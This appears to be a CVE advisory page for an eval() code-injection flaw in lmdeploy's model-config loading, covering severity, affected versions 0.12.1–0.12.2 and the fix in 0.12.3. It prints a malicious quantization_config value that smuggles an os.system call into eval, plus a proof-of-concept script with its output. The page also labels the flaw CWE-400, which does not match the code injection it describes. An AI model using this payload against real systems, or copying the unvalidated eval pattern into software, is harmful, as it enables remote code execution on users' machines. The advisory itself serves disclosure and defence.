LMDeploy vulnerable to arbitrary code execution via eval() of untrusted quant_dtype in model config loading
CVE-2026-33625 (GitHub advisory GHSA-3hmm-rh5q-gwwr) is a high-severity vulnerability with a CVSS 3.1 base score of 8.8, classed as Uncontrolled Resource Consumption (CWE-400), in lmdeploy (PyPI). Affected versions: >= 0.12.1, < 0.12.3. It is fixed in 0.12.3.
Published 18 Sept 2026Updated 18 Sept 2026
- CVE ID
- CVE-2026-33625
- GHSA ID
- GHSA-3hmm-rh5q-gwwr
- EPSS
- 0.24%higher than 15% of CVEs
- Weakness (CWE)
- CWE-400Uncontrolled Resource Consumption
- KEV status
- Not in KEV
- Published
- 18 Sept 2026
- Updated
- 18 Sept 2026
- Ecosystem
- PyPI
- Assigned by (CNA)
- GitHub_M
Summary
Source: OSV (GitHub advisory)
lmdeploy <= latest contains a code injection vulnerability in lmdeploy/pytorch/config.py line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted quantization_config.quant_dtype value. When a user loads the model with lmdeploy, the quant_dtype is passed to eval(f'torch.{quant_dtype}') without any validation.
Details
Vulnerable code (permalink):
quant_dtype = eval(f'torch.{quant_dtype}') # line 620
The quant_dtype value comes from the model's quantization_config in its HuggingFace config. When a model specifies quant_method: awq, the AWQ branch processes the config but does NOT override quant_dtype, allowing the malicious value to reach the eval() call.
Attack vector: An attacker publishes a HuggingFace model with:
{
"quantization_config": {
"quant_method": "awq",
"quant_dtype": "float16, __import__('os').system('id')"
}
}
Note: The _update_torch_dtype method at line 53 has a whitelist check, but that's for torch_dtype, NOT quant_dtype. The quant_dtype at line 620 has no validation whatsoever.
PoC
"""
PoC: eval() RCE in lmdeploy via malicious quant_dtype
Prerequisites: pip install lmdeploy
"""
import sys
from unittest.mock import MagicMock, patch
# Mock torch to capture the eval
sys.modules.setdefault('torch', MagicMock())
from lmdeploy.pytorch.config import ModelConfig
# Simulate a malicious HuggingFace model config
mock_hf_config = MagicMock()
mock_hf_config.quantization_config = {
'quant_method': 'awq',
'quant_dtype': "float16, __import__('os').system('id')"
}
mock_hf_config.num_attention_heads = 32
mock_hf_config.hidden_size = 4096
mock_hf_config.num_hidden_layers = 32
mock_hf_config.num_key_value_heads = 32
mock_hf_config.vocab_size = 32000
# This triggers eval(f'torch.{quant_dtype}')
# with quant_dtype = "float16, __import__('os').system('id')"
config = ModelConfig.from_hf_config(mock_hf_config, model_path='test')
Output:
uid=0(root) gid=0(root) groups=0(root)
Impact
An attacker who publishes a malicious model on HuggingFace Hub can achieve arbitrary code execution on any machine that loads the model with lmdeploy. This is a supply-chain attack vector affecting all lmdeploy users who load untrusted models.
- Full remote code execution when loading a malicious model
- No user interaction beyond running
lmdeploy serveor similar with the model - Affects all deployment scenarios (local, cloud, production)
Technical details
Source: GitHub Advisory Database
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HHigh8.8Base score from GitHub Advisory Database
- Attack Vector AV
- Network
- Attack Complexity AC
- Low
- Privileges Required PR
- None
- User Interaction UI
- Required
- Scope S
- Unchanged
- Confidentiality C
- High
- Integrity I
- High
- Availability A
- High
Affected packages
Source: OSV (GitHub advisory)
- lmdeployPyPI
pkg:pypi/lmdeploy- Affected versions
- >= 0.12.1, < 0.12.3
- Fixed in
- 0.12.3
Show 2 listed versions
- 0.12.1
- 0.12.2
| Package | Affected versions | Fixed in |
|---|---|---|
lmdeploy PyPI pkg:pypi/lmdeploy |
Show 2 listed versions
|
|
Fix
Source: OSV (GitHub advisory)
Fix available
Upgrade to 0.12.3 or later.
Release commits
The commits each fixed release tag points at. They usually bump the version rather than contain the fix itself.
Vulnerability intelligence
Root cause analysis
Vulnerable functions
References
Advisories 4
Package 1
Other links 1
Credits
- romain-depernereporter
Questions about CVE-2026-33625
- What is the GHSA ID for CVE-2026-33625?
- GitHub tracks CVE-2026-33625 as GHSA-3hmm-rh5q-gwwr.
- What is the CVSS score of CVE-2026-33625?
- CVE-2026-33625 has a CVSS 3.1 base score of 8.8 (High), vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
- Which versions are affected by CVE-2026-33625?
- lmdeploy (PyPI): >= 0.12.1, < 0.12.3.
- How do I fix CVE-2026-33625?
- Upgrade to 0.12.3 or later.
- What is the Package URL (PURL) for CVE-2026-33625?
- The affected package's PURL is pkg:pypi/lmdeploy.
- Is CVE-2026-33625 exploited in the wild?
- CISA's Known Exploited Vulnerabilities catalog doesn't list CVE-2026-33625. That means no confirmed exploitation has been catalogued, not that it is safe to leave unpatched. EPSS estimates a 0.24% chance of exploitation in the next 30 days, higher than 15% of CVEs.
Data sources
Upstream records
- OSV (GitHub advisory)LoadedRaw JSON
- GitHub Advisory DatabaseLoadedRaw JSON
- OSV (CVE record)LoadedRaw JSON
- CVE.orgLoaded
- CISA KEV catalogLoaded
Fetched 6 days ago (8 Oct 2026, 00:42 UTC). Records refresh automatically after 24 hours.
Where each part of this page came from
- Title and description
- OSV (GitHub advisory)
- Severity score
- GitHub Advisory Database
- Weakness (CWE)
- GitHub Advisory Database
- Affected packages
- OSV (GitHub advisory)
- Fix
- OSV (GitHub advisory)
- References
- Computed by CVEminer
- KEV status
- CISA KEV catalog
- EPSS
- GitHub Advisory Database
OSV and GitHub Advisory Database content is licensed CC BY 4.0. Values marked as computed or derived were calculated by CVEminer from the upstream data.